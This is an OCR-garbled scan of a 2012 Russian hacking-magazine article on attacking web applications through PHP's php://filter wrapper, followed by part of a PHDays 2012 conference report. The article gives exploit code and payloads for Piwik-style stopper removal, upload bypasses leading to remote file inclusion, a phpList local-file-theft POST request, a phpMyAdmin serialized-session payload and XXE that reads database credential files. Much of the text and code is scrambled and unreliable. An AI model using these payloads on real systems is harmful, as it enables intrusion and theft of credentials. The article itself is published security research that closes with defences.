) Ellol l]aSecl |,lfete,,ce llэiг-оi -Ъri l | всо eaI1-1]aSecl llltrlcl ) т l].]e-i]aSec] {а l]c] Si.,]c iec] c][,_

, нттр ) DNS

-

упление l,'lирос лава Штампара на PHDays в Москве

ппм . Более подробную информацию о классификации и особенностях различных типов sOL-инъекций ты сможещь найтх на нащем сайте по адре cy|hil.|yIPl2zz9, . Подробнее о том, как поднять свой DNsсервер с использOванием Ьiпd9, ты мохешь прочитать в этой cTaTbel bil, lу/М lEAE2.

Iш Помни, что sqlmap включает поддержку передачи результатов из l,ils sOL, tlysoL, PostgresQL и 0гасlе через DNs только в (лучае. коrда доступны медленные методы (вытяrивания} информации, и опция -"dn5-domain должна быть явн0 задана пользователем.


взло],l

Алексей ].,lосквин, Positive Technologies [аmоskчiпврtsесUгitу.гU]

чАсть а rа} @ В(я хнфорйацпя предоставлена

исключительно

овитая

0знакOffительных целях. Ни редакция, в

epTJ(a, или опасньlи

ниавтор не несут 0тветственности за любой

возtожный

вред, причиненный материалами данной статьи.

\л/

php:,//fl lte ИСПOЛЬЗОВАНИЕ врАппЕрА

РНРзllFlLтЕR В

КОНТЕКСТЕ

АТАКИ

нА,вЕБ_прило)l(Eния Уже не первый день многие исследователи ломают голову над особенностями реализации языка РНР и логики работы его функций, и я в том числе. 0бъектом моего недавнего исследования стали врапперы этого чудесного языка. Как и обещал, выдаю свежую порцию 0-dау-наработок, основанных на использовании враппера php:// f iltег, которые представляют собой новые техники эксплуатации уязвимостей в веб-

приложениях. 0?0

шш Сегодня мы продолжаем тему исследования

врапперов языка РНР с точки зрения атаки на ве6-приложения {первую часть ты можешь найти в прошлом номере или в РDF на диске}. Напомню, врапперы это абстрактный слой для работы с файлами, сетью, сжатыми данными и другими ресурсами. Это ресурс, из которого можно читать, в который можно писать и внутри которого можно перемещаться. В предыдущей статье, опубликованной в августовском номере ["Ядовитая обертка>l, мы рассмотрели возможности использования врапперов для работы с архивами, а также враппера data. В прошлый раз мы использовали врапперы для эксплуатации уязвимости в TimThumb vl.x, сегодня же мы продолжим ресерч Стефана Эссера относительно системы веб-аналитики Piwik, углубимся в эксплуатацию уязвимостей �� phpMyAdmin и phpList. И все это возможно с использованием враппера рhр:// f iltег. Готов? Поехали!

-

хАкЕр

09 /164/ 2012


Ядовитая обертка, или опасный рhр://filtег

01100001

01110110

01110111

заключается в тOм, чт0 данные сOхраняются при передаче в любых сетях и междулюбыми устройствами {вне зависимости от кодировки]. В основе алгоритма лежит сведение трех восьмерок битов {24] к четырем шестеркам (тоже 24] и представление этих шестерок в виде символов алфавита Base64. То есть вхOдящая строка разбивается на части по три символа [если в последнюю часть попадает тOльк0 один или два символа, то оставшиеся биты заполняются нулямиl и каждая часть преобразуется в строку из четырех символов алфавита. Например, если мы хотим закодировать Base64 строку avw, сначала получим строку, состоящую из байтов, соответствующих этим символам. Это можно сделать, например, так:

$s='зчц' ;$I=stгlen($s);$bin*s=''

fог($i=0; $i<$1;

;

$i++){

$Ьlп_с=dесЬiп(огd($s[$i]

) ) ;

$г=8-strlеп($bin_c); != 0) $bin_c=str_repeat("a", $r).$ьiп_с;

if ($r

$bin_s . =$bin_c; }

принцип работы функции ba5e64_encode

,Щалее разобьем эту строку на подстроки из шести символов и пOлучившимся двOичным числам сопоставим символы из алфавита.

ш

$bln_Ien=st пlеп ( $bin_s ) j $ba5e64_c="ABcDEFGHI JK LМNОРQRsТUVtл'ХYzаЬсd

Врап пер рhр://filtег это вид метаобертки, поз воляющи й п рименять фильтры к потоку во время открытия. Использование фильтрOв дает

-

возможность трансформировать данные, получаемые из файла или записываемые в файл. В РНР есть встроенные фильтры, доступные по умолчанию, но с помоlцью враппера рhр://filtегтакже можно задействовать и пользовательские фильтры, созданные с помощью функции stгеаm_f iltег_геgistег. При этом использование неопределенных фильтров не влияет на обработку данных другими фильтрами. Например, если фильтр апуfiltег не определен, то функция геаdfilе просто выведет содержимое /etc/hosts полностью в верхнем регистре. пеаdfi lе

(

"php : //fi anyfi

lteг/геаd=Stгiпg. touppen l \

ltег/ге5оurсе=/еtс/hоsts"

).i

Эта особенность может быть полезна для обхода проверок, на 0снове stгpoS, preg_match и других.

удАлЕниЕ стOппЕрOв Встроенные фильтры сопчегt.Ьаsе64-dесоdе и string,stгip_tags

по-

звOляют удалять часть данных из потока. В 2009 году Стефан Эссер использовал эту особенность фильтра сопчегt.Ьаsе61+-dесоdе в экс-

плойте для Piwik (bit.lyl4tSlKO]. В своем адвизори Стефан Эссер указывал на тот факт, что с помоlлью рhр://filtег мы можем создавать файлы с произвольным содержимым, имея только возможность внедрять свои данные в конец файла. Но с 2009 года остались не раскрыты два важных вопроса: каким образом можно уничтожать <ненужные> данные и какие вOзмOжности дает применение фильтров?

efghijkImnopqгstuvwxyzol2З45 fог($i=О; $i<$bin_len; $i=$i+6){

$bsc=substг($bin_s, $j=bindec($bsc); $base64_s

.

=$base64_c [$j ];

}

В итоге мы получим то же самое, что и при обычном применении base64_encode к строке avw. Теперь рассмотрим работу функции base64_decode. Как несложно догадаться, при процессе декодирования во входящей строке будутучитываться только символы алфавита, а все остальные игнорироваться. При этом входящая строка будет разбиваться на части по четыре символа и из них будет делаться три символа восьмибитной кодовой таблицы. Поэтому применение base64_decode к строке несколько раз будет уменьшать длину стрOки, и на какOм-т0 шаге мы получим пустую строку. На этом несложном замечании, по сути, и основывается прием Эссера с выдавливанием стоппера. Но какую строку добавлять в конец файла, чтобы в результате получился файл с произвольным содержимым? Так как входящая строка разбивается на части по четыре символа алфавита и каждая часть декодится отдельно, то для того, чтобы декодирование стоппера не влияло на декодирова-

!

@QуSгд* N&y?N(B)c_1 !Y:w

0писАниЕ АлгOРитltlА BAsE64

Алгоритм Base64 описан в параграфе 6.8 RFC 2045, идея алгоритма обратимое кодирование, которое переводит строки, сOстOящие из символов восьмибитной кодовой таблицы, в строки, сOстOящие из.таких симвOлOв:

-

чwхуzОt2З456789+

/

ghi j k}mnopqrstu

В.дальнейшем набор этих символов будем называть алфавитом Base64 или просто алфавитом. Польза оттакого преобразования

хлкЕр

a9/1bl,/2012

i

$i, 6);

Чтобы разобраться с этим, необходимо более детально изучить работу функци й base64_encode/base64_decode.

ABcDE FGНI ] КLМNОРQRSТUVtлJХYzаЬсdеf

\ 6789+ /''

Принцип работы функции ba5e64_decode


взлOtl ph

allow_U.l_fopen

p://filter

=

off

i

simplexm1,1oad_rile

DoMDoc!menl:]oad получают ХМLдля ХХЕ

rрансформация

iltеr

данных через php://f

Создание xML для ХХЕ через php://filter

-

ние наших данных, между ними и стOпперOм дOлжна стоять строка, выпOлняющая рOль заглушки, т0 есть на каждOм шаге декOдир0вания дополняюцая длину стоппера до кратной четырем. Чтобы лучше понять этот важный момент, сконструируем заглушку для

приема Эссера, NOT REMOVE THIS

LINE\n ";

$configFile .= "'; file automatically gепегаtеd ог modified Ьу Piwik; you сап manualJ.y очеггidе the default ValUeS in global.ini,php Ьу геdеfiпiпg them filе. \n".;

in this

Сначала удалим из строки $configFile все символы, не входящие

в алфавит Base64, и вычислим ее длину, Получаем 147, значит, сразу

нам нужно будет добавить один сиN.4вол. Добавим l потому что при декодировании этотсимвол будет проинтерпретирован как 111'l11 и к нему спереди добавится еще два бита, то есть АSСll-код последнего символа после декодирования будет либо бЗ, либо 127, либо ']91. либо 255, поэтому получится символ не из алфавита и при следующем применении base64_decode он будет проигнорирован. Итак, при циклическом выполнении действий: подсчитываем длину, добавляем необходимые сиN4воль1, декодим, очищаем строку от символов, не входящих в алфавит, снова подсчитываем длину и так далее. lr4ы рано или пOздно получим пустую строку. На данном этапе важно запомнить, сколько добавляли символов после каждого применения base64_decode. Эти значения удобней всего хранить в массиве, в нашем случае это будет такой массив: $а[0]=1 $at1]=0 $at2]=] $аtЗ]=З. При взгляде на него становится ясно, что заглушка будет иметь вид'/'.$s2.$sЗ, где строки $s2 и $sЗ состоят из сиl,.4волов алфавита и их длины кратны четырем, двойное применение base61+_decode к $s2 даст / и тройное применение base64_decode к $s3 дает ///. условие "состоят из символов алфавита, и длины кратны четырем> необходимо для того, чтобы данные, находящиеся за заглушкой, декодировались без изменений [уже говорилось, что при Base64декодировании строка разбивается на части по четыре символаl, Строку $s2 можно построить так: применяем base64 encode к обратн о му сл ешу, получа ем строку Lw==, кото рая содержит тол ько два символа алфавита, поэтому двойное равенство в конце l==) заменим на g/, Конечно, это не единственная замена, которая нам подходит, главнOе, чтобы после применения base64_decode получалась строка, отличающаяся от обратного слеша lпервоначальной строкиl тOльк0 спецсимвOлами, котOрые пропадут при следующем декOдировании.,Д,алее снова энкодим и снова меняем двойное равенство на gl в итоге получаем THdnLwg/. Аналогично строится строка $sЗ, в нашем случае она будет такой; VEhгNGRnZy8l Следующий скрипт как <выдавливается>

NОТ REMoVE THIS

LINE\n";

$сопfigFilе .= "; filе automatical]y geneгated оr modified Ьу Plwikj you сап manually очеггidе the default values in global.ini.php Ьу гedefining them i.п thls ]

\п

$S=$configF encode

";

ile (

(

5 ; $i++)

{

$S ) ;

.

"

/THdn LWg/VE

baSe64_encode

h

гNGRпzу8/ " . Ьа se64_

(

base64_encode(base64_encode(base64_encode('Yes!

Irоrks|')))));

При всех выгодах данный метод уничтожения стопперов не может быть универсальным. В 2009 году было замечено, что функция

base64_decode некорректно обрабатывает строки, содержащие в середине знаки равенства [#47174] lltllNфBli). Этот баг был довольно оперативно исправлен для функции base64_decode, но для фильтра convert.base64-decode никаких исправлений сделано не было. Поэтому, если при (выдавливании> на каком-т0 шаге получаются данньlе, содержащие знак равенства, дальнейшее применение фильтра convert.base64-decode уничтожит преобразуемую строку.

$5 = "рhр://fittег/геаd=сопчегt.Ьа5е64-dесоdе/ геSоUгсе=dаtа :, dGVzdA==cRAP" j

vaг_dump(file_get*contentS($s));

// ргiпt: Stгlпg(0) "

Но не только фильтр сопчегt.Ьаsе64-dесоdе может удалять данные из потока, более эффективен в этом плане фильтр Stгiпg,

Stгiр tagS.

0сOБЕннOсти ФильтрА STRlNG.STRlP_TAGS Фильтр stгing.stгip_tags появился в РНР в версии 5.0.0, использование этого фильтра эквивалентно обработке всех данных потока функцией strip_tagsl), Фильтр может принимать аргументы в одной из двух форм: либо в виде строки со списком тегов, как и второй аргумент функции stгip_tags(), либо массив названий тегов. Напри[4ер, чтобы удалить из строки все теги, кроме <b><i><u>, можно использовать фильтр 5tгing.stгip_tags таким образом:

$fp = fopen('php://output', 'W')j stneam_filteг_append($fp,'5tгiпg. 5tгip_tags', \ STREAM_FILTER_WRITE, аггау('Ь','i','u' ));

fwгite($fp,

"<b>bolded text</b> епlагgеd

а <h]">level 1 heading</h1>\n");

fc 1ose ( $fp

to

\

) ;

Применение фильтра stгiпg.stгiр_tаgs удаляет не только HTMLтеги, также будут удалены РНР-теги и НТМL-комментарии. HTML

Таg:

РНР Таg:<?

<аЬс> ?>

HTML comments:<!--

-->

стOппер:

$сопfigFilе = "; <?php exit.; ?> Do

file

$S=base64_decode pnint $S. "\n";

<=

}

$сопfigFilе = ",; <?php exit; ?> DO

демOнстрирует,

fог ($i = 1; $i ргiпt $i. "\п";

It

Поэтому, если необходимо избавиться от стоппера, нужно каким-то образом не дать фильтру stгiпg.stгiр tags удалить внедряемый РНР-код. Самый простой способ это преобразовать нужные символы в quoted-printable формат (RtС2045, раздел 6.7], а потом применить фильтр сопчегt.quоtеd-ргiпtаЬlе-dесоdе. Использование фильтра conveгt.quoted-printab]e-decode эквивалентно обработке всех данных потока функцией quoted_printable,decode(]. Эта функция обрабатывает строку посимвольно, если встречает символы в кодировке quоtеd-ргiпtаЬlе, то преобразует их в символы восьмибитной кодовой таблицы. Например, если необходимо удалить воттакой простой стоппер: "; <? die; ?r\п", то с помощью фильтра conveгt.base64-decode это можно сделать следующ��м образом:

-

х^кЕр

09 /,l641 20]2


Ядовитая обертка, или опасный php://filteг

$content = "j

die;

<?

?>\п";

$content .= " [/Ly8VVTFoQlRХSxpxbxhKUmtKSlzvRTIQUTo9]\n',,;

$file =

'php: //filtеп,/wгitе=сопчепt. base64-decode | сопчегt. baSe64-decode I convent. ЬаSе64-dесоdе/геSочгсе=. /РоС' j

fi].e_pUt_contents($fi

1е, $content)

;

При этом п_отребуется еще найти строку, выполняющую роль заглушки, в данном случае это будет/Lу8ч. Удалить этотже стоппер с помощью фильтра stгing.stгip_tags можно намного проще.

$content = ";

<?

diej

|

\

сопчегt . quoted - pnintable - decode/ rеsоuгсе=. /РоС ' ;

file_put_contents($file, $content) j

Здесь =ЗС, =ЗF- это символы <, ? в quoted-pгintable формате. Важно отметить, что фильтр сопчегt.qчоtеd-рriпtаЬlе-dесоdе не даст ожидаемOг0 результата, если в строке содержится знак равенства, пOсле кOтOрOг0 нет шестнадцатеричного кода символа,

Itег/геаd=сопVегt. \

quoted -pгintable-decode/гesource=data

vaг_dump(file_get_contents($s));

фил ьтро в.

:, dGVz=BAD',;

// ргiпt: Stгiпg(о)''''

Поэтому стоит рассмотреть подробней

и

fог($i=0; $i<256; $i++) { $s='Hello <'.сhr($1).'tлlогId echo $i.' -- '.сhг($i).' tags($s). "\n";

> Авс'

--

j

..strlp_

}

После запуска этого скрипта становится ясно, что если после символа < иду|т символы с ДSСll-кодами 19,10,11,12,1з,з2L то знак < не вOспринимается как начало тега. Еще один важный мOмент наличие кавычек внутри тегов. Если тег содержит лишнюю {незакрытую) кавычку ['или "l, то обрезается все после нее. Строка между кавычками вослринимается как атрибут тега и пOэтOму игнOрируется пOлнOстью.

#

<<taloг"ld>U=b >> АВС' );

ргlпt: Hello

echo stгip_tags('Hello echo

<<t'ог"].d>U=ь >,,> ABc,)j АВС Stгip_tags('He].lo <<Wог"ld>U=Ь ><''> АВс' ),; # print: Неllо АВС

* print: He]lo

При этом stгip_tags игнорирует экранирование кавычек [#45599J lbit.]y/M PocYX).

0БхOд прOвЕрки нА 0снOвЕ GETltlAGEslzE С помоtцью фильтров можно удалять не только стопперы. Можно, например, модифицировать содержимое изображения, после того

хАкЕр

09 /1641 20]2

как 0н0 прошло проверку на основе функции getimagesize. В качестве примера рассмотрим скрипт, в котором присутствуюттакие участки кOда: ext гасt ( $_REQUEsT

)

.;

include $templatediг.'/headeг.html'

;

if(!empty($_tILES) ) t $fiIe_info = getlmagesize($_FILES['image' ]['tmр_паmе' ]); if($file_info['mime' ] =='image/jpeg'){

if

jpc'

другие комбинации

STRING.STRlP_TAGS + CONYERT.BASE64-DECODE = PROFlT !ля более эффективного использования фильтра Stгiпg.Stгiр_ ta9s необходимо изучить некоторые его особенности. В официальной документации можно найти упоминание следующего факта: если после символа < идет пробел, то символ < не воспринимается как начал0 тега и удаляться не будет. Это очень важный мOмент, так как при <выдавливании> в преобразуемых данных мOгут пOявиться симвOлы <, пOэтому, применяя к таким данным фильтр stгiпg.stгiр_tаgs, возможно удалить сразу довольно большую часть данных. Но важно знать, что будет интерпретироваться как НТlt4L-тег. Это легко определить с помощью фаззинга.

echo stгip_ta8s( 'Helto

РНР С ТOЧКИ ЗРЕНИЯ АТАКИ НА ВЕБ-ПРИЛОЖЕНИЯ

?>\п",;

$content .= "=3С=ЗFргiпt('РНР' );\n",; $fiLe =' php: / /filteг/wгite=stгing.stnip_tags

$5=' php : //fi

родOл)(AЕi,| TE},ly иссл Е_ ДOВАНИЯ ВРАППЕРOВ ЯЗЫКА п

(move_uptoaded_fi J.e($_FILES[' image' ['tmp_name'

]

\

], $fоldег.',/ачаtаг.

))

При отсутствии NULL-6айта может показаться, что нет возмOжнOсти ни проэксплуатировать RFl, ни загрузить что-то, кроме

файла avatar.jpg. Но врапперы предоставляют нам новые способы эксплуатации подобного рода уязвимостей. 1. В ЕХlF-изображение внедряем данные в необходиllоti формате и загружаем это изображение, определив переменную $fоldег таким образом:

foldeг=php ; //filter/Write=st гiпg. stгip*tags | сопчегt base64- decode/

2.

""rou

.

рбg=/tmр/

после прохождения лроверки getimagesize, но леред сохранением на диск изображение будет обработано фильтрами и превратится в ziр-архив. Инклюдиl,iфайл внутриэтогоziр-архива.flля этого используем враппер zip. Более подробно об его использовании я расска-

зал в предыдущей 201 2 года).

templatedin=zipi

статье [статья,<Ядовитая

/ /

обертка>, август

/tmp/ ачаtап. jpg*/my

С помощью фильтров можно не только <выдавливать> данные, н0 и просто удалять часть файла, если есть такая необходимость.

Рассмотрим довольно интересную уязвимость в скрипте phpList

2.10.'lЗ. Причиной данной уязвимости является возможность изменять структуру в массиве $_FlLES. Первое упоминание об этой особенностИ массива $_FlLES появилось еще в 2004 году (bit.lvl PEZltll. Но исправлено это было только в 2012-м (bit.lvlMOl7x]]. Итак, в phpList 2.'10.'lЗ, в файле,/аdmiп/соmmоп|iЬ/раgеs/usеr.рhр можно найти следующий код:

if (is*аrгау($*tllЕs)) {

## only ачаtагS аге files fогеасh ($_FILEs['attrlbute']['name'] aS $key

$val)

{

if

(

!empty($_FILEs['attnibute'

=>

]['паmе' Jt$key11;

1

$tmpnam = $_FILES['attгibute' ]['tmр_паmе' ]t$key]; $size = $_FILES['attnibute' ]['size' Jt$key1;


Взл01.{ if ($Size

-

что, по сути, дает возможность сохранить в базу только 192 символа, но это ограничение можно обойти с помощью враппера рhр://filtег, Например, если необходимо узнать пароль от базы данных из такого файла (важно, что в этом файле нет знаков

< MAX_AVATAR_5IZE) {

$ачаtаг = fi le_get_contents($tmpnam) Sql*QUегу(Sргlпtf ('перlасе into %s ( U Seгid, att гibuteid, va 1Ue ) values(%d,% d,"%s")', $tables [ "useг_attгiЬчtе" ],

;

равенства):

$id,$key, base64_encode($avataг)));

/*******+**+*+***********+********************+*++*+*****

*

Несложно понять, что для того, чтобы использовать этот кOд для загрузки произвольных локальных файлов в базу данных, достаточно создать такую НТМL-форму: <fогm action="http

+ MySQL Settings * host

>

/fогm>

0ткрыв эту НТlr4L-форму в браузере и выбрав необходиlvые файлы, на удаленный сервер можно отослать следующий РOsт-запрос lB поле Сопtепt-Туре указываем путь до локального файлаl:

define('DB_USER','dЬusег'

PoSTDATA

|ЧуSQL database paSSwond */ define('DB РАsSt^JОRD','SЗсгеТр4Ss'

Можно обработать содержимое файла фильтром сопчегt.Ьаsе64ecod e,

- - - - - - - - - - - - -

filename=

-277 44з277 2з2757

[",;

" 1"

content-Type: application/octet-stгeam

- -- --- -- --- ---

content-Disposition: паmе]

php

lename="ima8e. jpg"

content-DiSpoSition: foгm-data; name="attгibuteISize]

";

27744з277 2з27 57

foгm-data; name="attnibUte[ [tmp_

fi1епаmе="1"

content-Type: application/octet-Stгeam - --- - --- -- ---

-27744з277 2з2757

content-DiSpoSition: fonm-data; name="attnibuteIname] ["; fi],ename="]."

content-Type: application/octet-Stneam

;;;;;;;-;;,;;;;;;;;,;;;;.;;:'"1:1:!!,:i:iz: :::: :::::::

_--------_____27744з2772з2151--

В результате в [4ассиве

$

FlLES появится элемент

$_FILESIattгibute] [tmp_name] /path/tol1ocal/fi Ie. php

[

[type]

=

Это. в.свою очередь, приведет к тому, что в базу данных будет загружено содержимое файла /path/to/local/file.php. После всех этих lvанипуляций останется только получить данные из соответствующеЙ ячеЙки с помощью SOL-инъекции. При этом фаЙлы будут загружаться в таблицу рhрlist_usег_usег attribute, в поле value, которое имеет тигi чаrсhагi255]. К тому же перед загрузкой содержимое файла обрабатывается функцией base64_encode,

).;

/+* MySQL hostname */ define( 'DB,HOST', '10calhost' );

-27744з2772з2757

content-Type: /path/tol1ocal/file.php

+/

);

/**

content-DiSpoSition: foгm-data; name="attnibUteItmp_name] fi

wеЬ

).;

/** MysQL database usегпаmе

d

".;

this info fгоm уоuг

********+*+**+**********+****************+*+***х********/

define('DB_NAME','cms'

enctype="multipant/foгm-data" <input type="file" name="attгibuteItmp_name] ["> <input type="file" name="attгlbuteIsize]["> <input type="file" name="attгibute[ [tmp_name]"> <input type="file" name="attnibuteIname]["> <input паmе="сhапgе" value="SaVe changes" type="submit">

[

You сап get

/** The паmе of the database */

:,//10calhoSt/lists/

admin/?page=useг&id=1" method="POST"

<

The databaSe сопfigUгаtiопS.

:

/filten/ геаd=сопчегt . Ьа s е64- decode/ геsоuгсе=/ path/to/1ocal/db. php /

Таким образом в базу данных попадут уже 255 символов из необходимого нам файла, при этом символы не из алфавита Base64 будут проигнорированьi, Если пароль от базы данных не будет содержать специальных символов, N4ы его узнаем полностью. Если использовать фильтр stгiпg.stгiр tags, можн0 попытаться вырезать часть файла, и тем самым в базу данных уже загрузятся не первые 192 символа, а, возможно, какая-то другая часть файла. Например, можно узнать логин и пароль от базы данных из конфигурационного файла BBPress'a таким образом: baSe64-encode : //fi 1tег/сопVепt. base64-decode I stгiпg. stгip_tags php

convent

. Ьа

"",оц;.6g=/

Se64

-

encode I st гiпg.

ЬЬр пеs

s/ ЬЬ - config

.

I

stгing, гоtlЗ сопчепt. |

I

гоtlЗ сопVегt . base64- decode/ |

php

ВЕКТOРЫ АТАК Итак, что же дает нам применение фильтров при уязвимостях типа File Manipulation? В первую очередь появляется возможность трансформировать данные. Например, если удалось внедрить данные в какой-либо фаЙл, на aтaKyeMoN4 сервере мы можем с помощью php://filter/ его трансформировать и в результате получить уже файл с произвольным содержимым. Чем могут быть пOлезны такOго рода фаЙлы? Если нет возможности создавать фаЙл в вебруте, можно попробовать: 1. Создать файл сессии. Создание сессии дает возможность произвести различнь е виды атак. Например, можно обойти авторизацию, если ве6-приложение использует сессии для авторизации пользователей. Также можно реализовать uпsегiаlizе bug через session stагt(}, если приложение содержит уязвимые магические методы. Тут уместно вспомнить про uпsегiаlizе bug в скрипте 5cгipts/setup.php phpMyAdmin. Эта уязвимость была исправлена в версии 2.11.10 тем, что из скрипта scгipts/setup. рhр был удален uпsегiа ize, принимающий данные от пользователя, при этом уязвимый магический метод так и остался в коде phpMyAdmin. Так как phpl,/yAdmin использует сессии, 0сталась вOзмOжнOсть проэксплуатировать уязвимOсть ме-

хАкЕр

09 /]641 20]2


Ядовитая обертка, или опасный рhр://filtег

тода __wakeup с помощью session_staгt{]. Например, если у пентестера есть доступ в phpMyAdmin с привилегией FlLE, он может создать файл сессии Ic помощью оператора SELECT... lNT0 0UTtlLEl: ххх |а:1: {i: O;o,19; "PllA_confi8":1: {s:6: ''sочпсе''j S:63: "ftp: //пупаmе : nypass@ftp. паrоd. гu/pathto/index.txt'' j }} После того как нужный файл сессии создан, остается только обратиться к http://site.com/phpmyadmin/ с соответствующим PHPSESSlD. Этот способ будет работать для всех версий phpMyAdmin. 2. Создать или перезаписать шаблоны. Если ве6-приложение использует темплэты, то, перезаписывая или создавая нOвые темплэты, мOжно использовать уязвимости ша бл

о н

изаторо в.

3. Создать zip-apxиB и проэксплуатировать

RFl.

4. Создать/перезаписать файлы htaccess/htpasswd. Иногда бывае1 что нельзя создавать файлы в ве6-руте средствами РНР, но можно перезаписывать файлы htaccess/ htpasswd. Перезапись этих файлов позволяет: обходить авторизацию, выпOлнять кOманды и даже получать информацию о конфигурации сервера Apache lblt.iv/lu9CuD. bit.lv/Qm2a5X].

Кроме трансформации файлов, враппер php://filteг дает возможность манипулировать функциями, которые обрабатывают файлы только определенного типа.

мы можем, используя фильтры, преобразовать этот файл ма1 доступный функции рагsе_iпi_f ile: php:

в

фор-

//filten/ rеаd=сопчепt

. Ьа se64- decode | сопчегt . Ьа se64decode | сопчегt. base64-decode,/resource= /tfi p/sess_

dffdsdf24gSSdgsd90

Что в данном случае приведет к уязвимости Remote Filе |nclude.

W-

широко распространенный текстовый формат, предназначенный для хранения структурированных данных, которые используются при обмене информацией между программами, Хорошо известно, что в ХМL-документ можно добавлять содержиl,.4ое внешних файлов с помощью внешних сущностей lехtегпаl entities], но при этом итоговый документ должен быть wеll-fогmеd. В РНР обойти это ограничение можно с помощью фильтра сопчегt. base64-encode. ХlйL

Bypass wеll-fоrmеd xML output check <?хm]. Vегsiоп='1.0' standa]ong='yes'?> < !

DOсTYPE scan t

<!ENTITY ххе SYSTEM "рhр://filtег/сопчегt.ЬаSе64-епсоdе/ геSочгсе=. /db. php''

>

]>

Согласно официальной документации, функция рагsе_iпi file имеет следующий синтаксис:

аrгау paгse_ini_file ( stгing $filепаmе

sections

[,int

=

false

[,

Ьоо1 $рпосеss_

$scanner_mode = INI_SсANNER_NORMAL

]]

)

Эта функция загружает iпi-файл, указанный в аргументе fiiename, и возвращает настройки из iпi-файла в виде ассоциативного массива. Так как в iпi-файлах обычно находятся важные

для работы веб-приложения данные, функция parse_ini_file может работать только с локальными файлами, но при этом в качестве $filename можно использовать врапперы. Предположим, что у нас есть вOзможность внедрить данные в файл сессии, например, в скрипте есть такой код:

session_Staгt( ); $_SESSION['adпin'

]

= $_PosT[' паmе'

],;

$чаr = parse_ini_file($inifi Ie); геquiге $чап['геquiге' ]; Тогда, создав файл сессии /tmp/sess_dffdsdf24gssdgsd90

таким сOдержимым: admin

I

Но врапперы можно использовать не только внутри Xlr4Lдокумента, но и в функции simplexm1_1oad*file и в методе DOMDocument::load. Это дает возможность произвести ХХЕ-атаку при аllоw_uгl_fореп =0ff, если есть возможность манипулировать именем файла.

W

На этой ноте я завершаю свое повествование об использовании врапперOв для пострOения прOдвинутых техник эксплуатации

уязвимостей в веб-приложениях. Врапперы очень гибкая и функциональная штука, вполне вOзмOжн0, что я еще вернусь к ним в будущих статьях. Напомню, что защититься от подобного рода атак достаточно просто: проверки на основе функций file_exists, is_file, filesize не дадут воспользоваться врапперами php://f iltег, zip:l l, data:ll, compгess.zlib:/l При установленном патче Suhosin по умолчанию невозможно испOльзOвать врапперы в инклюдах, даже если директива allow_ uгl_iпсludе имеет значение 0п. flля использования врапперов в таком случае необходимо добавить их в вайт-лис1 например

в вайт-листе suhosin'a suhosin.executon.include.WhiteliSt = "php''

06ертка РНР с

s : 68 :,,Ly8vvnpo\4{FHTnNNRXRqYIzaNFpGzHNlVnBVTUdsTUlSt^j

xdxwG5 1Yj J ]elRqQmplVWS5"

<scan>&xХej </Scan>

Теперь ты знаешь, что такое врапперы и как их правильно использовать. Попробуй взглянуть на закрытые уязвимости поновOму, вOзможно, их и не закрыли... Stay wгарреd!

Е

lппЕ Данная статья основана на выступлении Алексея lrocKBxHa

иеждународнOх форуме по практrческой на

безопасности Positive Hack Day5 2012. Презентация доклада доступна по этомуадресу: sl idesh'a. re/l"lTRkml.

хлкЕ?

09

l1bLlю12

3АlЦИТИТЬСЯ 0Т ТАКИХ АТАК ПРОСТOз ПРОВЕРКИ нА оснOвЕ ФункциЙ FlLE_ExlSTs, IS_FILE, FlLESlzE н Е дАдут вOспOл ьзOвАться врАп п ЕрА1.{ и РНРzll гi lтвп, Zlрзl l, DATA://, co},l pRESS.ZLl в://


Взло].{

PHDays

20 12зJ кАкэт0 Бьlл0?

ОТЧЕТ О КOНФЕРЕНЦИИ

п0

ПРАКТИЧЕСКОИ

БЕЗОПАСНOСТИ В КАРТИНКАХ Грандиозная затея собрать в одном месте (пиджаки> и <футболки> удалась. В Москве прошла сумасшедшая [в самом хорошем смысле этого слова} конференция для людей, которые принимают решения о вопросах безопасности в больших компаниях, и для людей, которые не понаслышке знают, что такое взлом. Как это происходило, какие сюрпризы подготовили организаторы и какие доклады нам особенно в этом материале. запомнились,

-

ервOе, что привлекал0 внимание каждого, кт0 пOявлялся на

аквариуч, площадке Positive Hack Days, - это огроменный я заваленный распечатками А4, "Что это?" - спрашиваю у организаторов, компании Positive Technologies. Это одно из заданий грандиозного СТF, в котором участникам нужно будет показать навыки олдскульного способа добычи полезной информации, копаясь в буквальном смысле в мусоре. Уже с этого момента становится ясно, что конференция будет гораздо большим, чем сессии докладов, параллельно идущих в нескольких залах, Это ощущение укрепляется, когда кстати, все прообходишь немаленькую территорию конференции, исходило в центре Москвы на одной из самых продвинутых площадок с символическим названием Digital October 0громное количество декораций, стендов. затравок для конкурсов, атмосферный бар с бесплатным алкOгOлем, н0 главное... неверOятное количеств0 знакOмых людей. Кажется. что собрать еще больше спецов из области ИБ под одной крышей невозможно. Ну или по крайней мере очень сложно. Простой пример: мы познакомились сразу с несколькими авторами J [, которых раньше знали только виртуально. В итоге всю конференцию мы были в состоянии выбора: то ли пообщаться с интересными людьми, то ли бежать на доклад. Но если доклад, то какой? Часто интересные выступления были параллельно. Впрочем, была доступна прямая

l:]il

-

W

видеотрансляция,

что решало проблему.

Вообще доклады были очень разнообразны (видео и слайды доступны здесь: bit.lv/JYOkбP), особенно с учетом того, что организаторы приэто, конечно. гласили л юдей из сам ых разн ых сфер ИБ. Наш выбор чисто технические исследования, которых было немало. Кратко коснусь наиболее запомнившихся. Тревис Гудспид рассказал. как можно исполь зовать шумы и внедрять пакеты на первом уровне модели 0Sl lPacketin-Packet]. Любопытное исследование представили ребята из Elcomsoft Скляров и Андрей Беленко. Взяв популярные менеджеры

-

-!,митрий

хАкЕр

09 /1641 20]2


PHDays 2012: как это было?

кАк прOхOдил стF? рандиозный СТF, проведенный в рамках PHDays, заслуживает отдельного слова. Площадка, на которой разместились i2 именитых команд, занимала львиную часть большого Ргоgгеss-Ваг'а. где на протяжении двух дней тусовалось огромное количество людей. связанных с информационной безопасностью, Как и в классическOм СТF, основной задачей участников было выявить уяэвимOсти в системах противникOв и получить дOступ к секретным ключам, индивидуальным для каждой команды. Участники параллельно работали над поиском уязвимостей сразу в четырех сервисах. состояния которых, а следовательно, и их баги менялись каждые несколько часов. OсновньLе очки участники получали за эксплуа-ацлю найденных ими уязвимостей на серверах командсоперни<ов.,Щоказательством успешной эксплуатации являлся МD5-хеш, после добавления которого в скорингсистему команде начислялись баллы в зависимости от слOжности задания, установленной организаторами. Если какой-либо из серsисов команд был недоступен более пяти минут, команде начислялись штрафные баллы. Все честно. 3аветные баллы команды могли получить и за решение заданий из зоны хак-квеста отдельной сети, в которой находились серверы с уязвимыми 